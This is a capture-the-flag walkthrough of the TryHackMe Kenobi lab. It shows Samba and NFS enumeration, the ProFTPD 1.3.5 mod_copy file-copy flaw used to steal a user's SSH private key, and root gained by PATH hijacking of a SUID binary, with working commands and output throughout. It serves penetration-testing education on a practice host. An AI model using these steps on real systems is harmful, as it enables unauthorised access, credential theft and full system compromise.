TryHackMe - Kenobi
Description: Walkthrough on exploiting a Linux machine. Enumerate Samba for shares, manipulate a vulnerable version of proftpd and escalate your privileges with path variable manipulation.
Created By: TryHackMe
Rating: Easy
Link: https://www.tryhackme.com/room/kenobi
Information Gathering
After entering the room, spinning up the machine and getting the host’s IP address (10.10.93.191 for me); the first task is to scan the host to determine what ports and services are being presented to us.
This can be done with the following command:
nmap -Pn -sS -sV -iL host -oN kenobi.nmap
Let’s break this command down:
- -Pn tells nmap to assume the host is up;
- -sS tells nmap to run a TCP SYN Scan;
- -sV tells nmap to get the version information (if possible);
- -iL tells nmap to get the hosts to scan from a file;
- and, -oN tells nmap to output the results to a (Normal text output)
This results in the following output:
Host is up (0.021s latency).
Not shown: 993 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
111/tcp open rpcbind 2-4 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
2049/tcp open nfs_acl 2-3 (RPC #100227)
Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
From this we can see that we have 7 open ports and services:
- TCP 21 - FTP service - ProFTPD 1.3.5
- TCP 22 - SSH service - OpenSSH 7.2p2 Ubuntu 4ubuntu2.
- TCP 80 - HTTP service - Apache httpd 2.4.18
- TCP 111 - RPC service - rpcbind (likely NFS)
- TCP 139 - Samba service - smbd 3.X - 4.X
- TCP 445 - Samba service - smbd 3.X - 4.X
- TCP 2049 - NFS service - nfs_acl
Enumeration
Looking at the ports and services presented by the host there are 3 that we will be focusing on:
- Samba (ports 139 & 445)
- RPC
- FTP
Samba
Firstly, let’s start by identifying the shares presented by the Samba service. This can be done in multiple ways:
- nmap
- enum4linux
- smbmap (We won’t cover this one)
nmap
We can do this by running the following command:
nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse -iL host -oN SMB-Shares.nmap
This results in the following output:
Host is up (0.019s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb-enum-shares:
| account_used: guest
| \\10.10.93.191\IPC$:
| Type: STYPE_IPC_HIDDEN
| Comment: IPC Service (kenobi server (Samba, Ubuntu))
| Users: 2
| Max Users: <unlimited>
| Path: C:\tmp
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.10.93.191\anonymous:
| Type: STYPE_DISKTREE
| Comment:
| Users: 0
| Max Users: <unlimited>
| Path: C:\home\kenobi\share
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.10.93.191\print$:
| Type: STYPE_DISKTREE
| Comment: Printer Drivers
| Users: 0
| Max Users: <unlimited>
| Path: C:\var\lib\samba\printers
| Anonymous access: <none>
|_ Current user access: <none>
enum4linux
An alternative method is to use the tool enum4linux. This tool can take longer to run than nmap, however it can be used to return more information:
enum4linux -a 10.10.93.191
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Thu Jun 11 18:13:13 2020
==========================
| Target Information |
==========================
Target ........... 10.10.93.191
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
====================================================
| Enumerating Workgroup/Domain on 10.10.93.191 |
====================================================
[+] Got domain/workgroup name: WORKGROUP
============================================
| Nbtstat Information for 10.10.93.191 |
============================================
Looking up status of 10.10.93.191
KENOBI <00> - B <ACTIVE> Workstation Service
KENOBI <03> - B <ACTIVE> Messenger Service
KENOBI <20> - B <ACTIVE> File Server Service
..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> Master Browser
WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
WORKGROUP <1d> - B <ACTIVE> Master Browser
WORKGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections
MAC Address = 00-00-00-00-00-00
=====================================
| Session Check on 10.10.93.191 |
=====================================
[+] Server 10.10.93.191 allows sessions using username '', password ''
===========================================
| Getting domain SID for 10.10.93.191 |
===========================================
mkdir failed on directory /var/run/samba/msg.lock: Permission denied
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
======================================
| OS information on 10.10.93.191 |
======================================
[+] Got OS info for 10.10.93.191 from smbclient:
[+] Got OS info for 10.10.93.191 from srvinfo:
mkdir failed on directory /var/run/samba/msg.lock: Permission denied
KENOBI Wk Sv PrQ Unx NT SNT kenobi server (Samba, Ubuntu)
platform_id : 500
os version : 6.1
server type : 0x809a03
=============================
| Users on 10.10.93.191 |
=============================
=========================================
| Share Enumeration on 10.10.93.191 |
=========================================
WARNING: The "syslog" option is deprecated
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
anonymous Disk
IPC$ IPC IPC Service (kenobi server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP KENOBI
[+] Attempting to map shares on 10.10.93.191
//10.10.93.191/print$ Mapping: DENIED, Listing: N/A
//10.10.93.191/anonymous Mapping: OK, Listing: OK
//10.10.93.191/IPC$ [E] Can't understand response:
WARNING: The "syslog" option is deprecated
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
====================================================
| Password Policy Information for 10.10.93.191 |
====================================================
[E] Dependent program "polenum.py" not present. Skipping this check. Download polenum from http://labs.portcullis.co.uk/application/polenum/
==============================
| Groups on 10.10.93.191 |
==============================
[+] Getting builtin groups:
[+] Getting builtin group memberships:
[+] Getting local groups:
[+] Getting local group memberships:
[+] Getting domain groups:
[+] Getting domain group memberships:
=============================================
| Getting printer info for 10.10.93.191 |
=============================================
mkdir failed on directory /var/run/samba/msg.lock: Permission denied
No printers returned.
enum4linux complete on Thu Jun 11 18:13:18 2020
As we can see this returns a lot more information than is required for this room, but in a pen testing engagement can very useful.
Browsing the SMB share
As we can see from both sets of output the server has 3 open shares. Two are default shares and not overly interesting, but one of them (anonymous) is very interesting.
Let’s connect to the anonymous share and start digging:
smbclient //10.10.245.98/anonymous
After connecting we can use the dir command to print out a list of files and directories.
$ smbclient //10.10.93.191/anonymous
Enter WORKGROUP\felsec's password:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Wed Sep 4 11:49:09 2019
.. D 0 Wed Sep 4 11:56:07 2019
log.txt N 12237 Wed Sep 4 11:49:09 2019
9204224 blocks of size 1024. 6877112 blocks available
smb: \>
We can see that there is only one file stored on this share (log.txt), let’s download it and look at the contents on our machine.
To download the file via smbclient, we can use the get command:
smb: \> get log.txt
If there were more files and/or folders we could use smbget to recursively download all items:
smbget -R smb://10.10.93.191/anonymous
Looking at the contents of the log.txt file we find that the FTP service is running as the Kenobi user (useful information for later!), and some SSH keys have been generated for the Kenobi user and stored in the default location. We are also able to see the location of the anonymous share on the server.
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kenobi/.ssh/id_rsa):
Created directory '/home/kenobi/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kenobi/.ssh/id_rsa.
Your public key has been saved in /home/kenobi/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q kenobi@kenobi
The key's randomart image is:
+---[RSA 2048]----+
| |
| .. |
| . o. . |
| ..=o +. |
| . So.o++o. |
| o ...+oo.Bo*o |
| o o ..o.o+.@oo |
| . . . E .O+= . |
| . . oBo. |
+----[SHA256]-----+
# This is a basic ProFTPD configuration file (rename it to
# 'proftpd.conf' for actual use. It establishes a single server
# and a single anonymous login. It assumes that you have a user/group
# "nobody" and "ftp" for normal operation and anon.
ServerName "ProFTPD Default Installation"
ServerType standalone
DefaultServer on
...
# Set the user and group under which the server will run.
User kenobi
Group kenobi
...
#
# Sample configuration file for the Samba suite for Debian GNU/Linux.
...
; write list = root, @lpadmin
[anonymous]
path = /home/kenobi/share
browseable = yes
read only = yes
guest ok = yes
RPC
Looking back over the nmap output we can see that the rpcbind service is running on port 111. You can read more about rpcbind at the man page: rpcbind man page.
Scanning
Let’s try and get some more information about the rpcbind service using a couple of tools (nmap and showmount).
We can use showmount to view the mounted volumes attached to the network files system being presented by the rpcbind service:
showmount -e 10.10.93.191
$ showmount -e 10.10.93.191
Export list for 10.10.93.191:
/var *
If we want to gather more information about the volumes we can run an nmap scan:
nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.93.191
Host is up (0.018s latency).
PORT STATE SERVICE
111/tcp open rpcbind
| nfs-ls: Volume /var
| access: Read Lookup NoModify NoExtend NoDelete NoExecute
| PERMISSION UID GID SIZE TIME FILENAME
| rwxr-xr-x 0 0 4096 2019-09-04T08:53:24 .
| rwxr-xr-x 0 0 4096 2019-09-04T12:27:33 ..
| rwxr-xr-x 0 0 4096 2019-09-04T12:09:49 backups
| rwxr-xr-x 0 0 4096 2019-09-04T10:37:44 cache
| rwxrwxrwt 0 0 4096 2019-09-04T08:43:56 crash
| rwxrwsr-x 0 50 4096 2016-04-12T20:14:23 local
| rwxrwxrwx 0 0 9 2019-09-04T08:41:33 lock
| rwxrwxr-x 0 108 4096 2019-09-04T10:37:44 log
| rwxr-xr-x 0 0 4096 2019-01-29T23:27:41 snap
| rwxr-xr-x 0 0 4096 2019-09-04T08:53:24 www
|_
| nfs-showmount:
|_ /var *
| nfs-statfs:
| Filesystem 1K-blocks Used Available Use% Maxfilesize Maxlink
|_ /var 9204224.0 1836520.0 6877108.0 22% 16.0T 32000
FTP
Looking at our nmap output from earlier we know that the server is running a ProFTPD 1.3.5 instance.
We can find all vulnerabilities affecting this version of ProFTPD by either using the searchsploit command or the Exploit-DB website.
$ searchsploit ProFTPd 1.3.5
------------------------------------------------------------------------ -------------------------------------
Exploit Title | Path
| (/root/tools/exploitdb/)
------------------------------------------------------------------------ -------------------------------------
ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit) | exploits/linux/remote/37262.rb
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution | exploits/linux/remote/36803.py
ProFTPd 1.3.5 - File Copy | exploits/linux/remote/36742.txt
------------------------------------------------------------------------ -------------------------------------
We can see that Exploit DB reports 3 vulnerabilities for our version of ProFTPD, however they are all actually the same vulnerability - CVE-2015-3306.
The FTP server implements two functions SITE CPFR and SITE CPTO. An unauthenticated user can use these commands to copy files and folders from one location on the server to another. The files and/or folders are copied with the persmissions of the ProFTPD service (in our instance the Kenobi user). More information on the vulnerabilty can be found here: CVE-2015-3306.
What does this mean for us? As the service is running as the Kenobi user we wont’t be able to access or copy any files that require root access, however we will be able to copy any files owned by the Kenobi user. This should allow us to copy the SSH private key to a location we can access (anonymous share or the network file share).
Gaining Access
Let’s have a quick recap of the information we have so far:
- We know the server is offering Samba shares with unauthenticated access
- We know the server is presenting a Network File Share (NFS) with anonymous access
- We have multiple ways of exfiltrating data (Samba and RPC)
- We have multiple ways of getting files and tools onto the server
- The FTP server has a known weakness that we can use to copy files around the filesystem
Great! Now let’s use this to gain access to the server.
Method 1 - via NFS
Using the rpcbind information we found earlier we should be able to mount the /var direcroty of the remote host to our machine to retrieve this file and give us further access to the server.
Firstly, we need to create the temporary mount point and mount the remote directory:
$ sudo mkdir /mnt/kenobiNFS
$ sudo mount 10.10.93.191:/var /mnt/kenobiNFS
$ ls -la /mnt/kenobiNFS
total 48
drwxr-xr-x 2 root root 4096 Sep 4 2019 backups
drwxr-xr-x 9 root root 4096 Sep 4 2019 cache
drwxrwxrwt 2 root root 4096 Sep 4 2019 crash
drwxr-xr-x 40 root root 4096 Sep 4 2019 lib
drwxrwsr-x 2 root staff 4096 Apr 12 2016 local
lrwxrwxrwx 1 root root 9 Sep 4 2019 lock -> /run/lock
drwxrwxr-x 10 root netdev 4096 Sep 4 2019 log
drwxrwsr-x 2 root mail 4096 Feb 26 2019 mail
drwxr-xr-x 2 root root 4096 Feb 26 2019 opt
lrwxrwxrwx 1 root root 4 Sep 4 2019 run -> /run
drwxr-xr-x 2 root root 4096 Jan 29 2019 snap
drwxr-xr-x 5 root root 4096 Sep 4 2019 spool
drwxrwxrwt 6 root root 4096 Jun 11 18:41 tmp
drwxr-xr-x 3 root root 4096 Sep 4 2019 www
Next we need to copy the SSH key to the /var/tmp directory:
$ nc 10.10.93.191 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.93.191]
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful
We can now copy the SSH key to another location on our system and access the server:
$ cp cp /mnt/kenobiNFS/tmp/id_rsa ~/loot/kenobi-id_rsa
$ chmod 600 ~/loot/kenobi-id_rsa
$ ssh -i ~/loot/kenobi-id_rsa [email protected]
The authenticity of host '10.10.93.191 (10.10.93.191)' can't be established.
ECDSA key fingerprint is SHA256:uUzATQRA9mwUNjGY6h0B/wjpaZXJasCPBY30BvtMsPI.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.10.93.191' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.8.0-58-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
103 packages can be updated.
65 updates are security updates.
Last login: Wed Sep 4 07:10:15 2019 from 192.168.1.147
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
kenobi@kenobi:~$
Method 2 - via anonymous share
From looking at the log file we know that the anonymous share is being presented from the Kenobi user’s home directory /home/kenobi/share. This gives us a location that we are able to copy files to and can access and download files from.
$ nc 10.10.93.191 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.93.191]
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /home/kenobi/share/id_rsa
250 Copy successful
$ smbclient //10.10.93.191/anonymous
WARNING: The "syslog" option is deprecated
Enter WORKGROUP\felsec's password:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Thu Jun 11 19:09:12 2020
.. D 0 Thu Jun 11 19:02:28 2020
id_rsa N 1675 Thu Jun 11 19:09:12 2020
log.txt N 12237 Wed Sep 4 11:49:09 2019
9204224 blocks of size 1024. 6877092 blocks available
smb: \> get id_rsa
getting file \id_rsa of size 1675 as id_rsa (21.0 KiloBytes/sec) (average 21.0 KiloBytes/sec)
smb: \> exit
Now we have the SSH key, we need to give it the correct permissions before we can use it chmod 600 id_rsa.
We can now access the server using the SSH key:
$ ssh -i id_rsa [email protected]
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.8.0-58-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
103 packages can be updated.
65 updates are security updates.
Last login: Thu Jun 11 12:46:10 2020 from 10.8.7.19
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
kenobi@kenobi:~$
Now we have access to the server we can obtain the user flag, and start looking towards elevating our privileges to root.
Elevating Privileges
There are a few common ways to elevate a user’s privileges on a Linux system, with one of the main ones being the exploitation of programs with the SUID or SGID bits set.
SUID (Set owner User ID up on execution) is a special type of file permissions given to a file that allows the file to be executed with the permissions of the file owner. This is usually reserved for special files with specific purposes (for example, passwd), however in some cases other executes will be given this permission that can then be used to give a user elevated privileges. Some examples and further information can be found here: https://www.slashroot.in/suid-and-sgid-linux-explained-examples
The following one liner can be used to find all files with the SUID bit set:
find / -perm -u=s -type f 2>/dev/null
Running this on the server gives us:
kenobi@kenobi:~$ find / -perm -u=s -type f 2>/dev/null
/sbin/mount.nfs
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/menu
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/at
/usr/bin/newgrp
/bin/umount
/bin/fusermount
/bin/mount
/bin/ping
/bin/su
/bin/ping6
The majority of these are default commands and required on the server, however there is one item /usr/bin/menu that stands out as different. Running this command presents us with a set of options:
kenobi@kenobi:~$ /usr/bin/menu
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :
When we choose an option we are presented with system output, suggesting that these options are running system commands with root privileges. Fantastic! Depending on how these commands are being called we may be able to intercept the calls.
We can use the strings command to identify exactly what commands the program is running.
kenobi@kenobi:/tmp$ strings /usr/bin/menu | grep -v _
...
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :
curl -I localhost
uname -r
ifconfig
...
We can now see that the menu program is using relative calls for the curl, uname, and ifconfig programs. Relative calls make use of the user’s PATH variable, which is open to exploitation as it is controlled by the user. The PATH variable defines the order of locations that the system will search when trying to run a program where the full path has not been specified. Let’s start by taking a look at the Kenobi user’s current PATH variable.
kenobi@kenobi:/tmp$ echo $PATH
/home/kenobi/bin:/home/kenobi/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
Perfect! We can see that the Kenobi user has two locations (/home/kenobi/bin and /home/kenobi/.local/bin/) that we can inject our malicious versions of curl, uname and/or ifconfig into. Alternatively, we can modify the PATH variable to include any directory we choose.
Now we can use this information to try and get a root shell on the server. All three programs used by the menu program
Option 1:
kenobi@kenobi:/tmp$ mkdir /home/kenobi/bin/
kenobi@kenobi:/tmp$ echo /bin/sh > /home/kenobi/bin/ifconfig
kenobi@kenobi:/tmp$ chmod 777 /home/kenobi/bin/ifconfig
kenobi@kenobi:/tmp$ /usr/bin/menu
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :3
# id
uid=0(root) gid=1000(kenobi) groups=1000(kenobi),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),114(sambashare)
#
Option 2:
kenobi@kenobi:/~$ cd /tmp
kenobi@kenobi:/tmp$ echo /bin/sh > /tmp/curl
kenobi@kenobi:/tmp$ chmod 777 /tmp/curl
kenobi@kenobi:/tmp$ export PATH=/tmp:$PATH
kenobi@kenobi:/tmp$ /usr/bin/menu
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
# id
uid=0(root) gid=1000(kenobi) groups=1000(kenobi),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),114(sambashare)
#
Congratulations! We now have full root permissions on the server and can grab the root flag.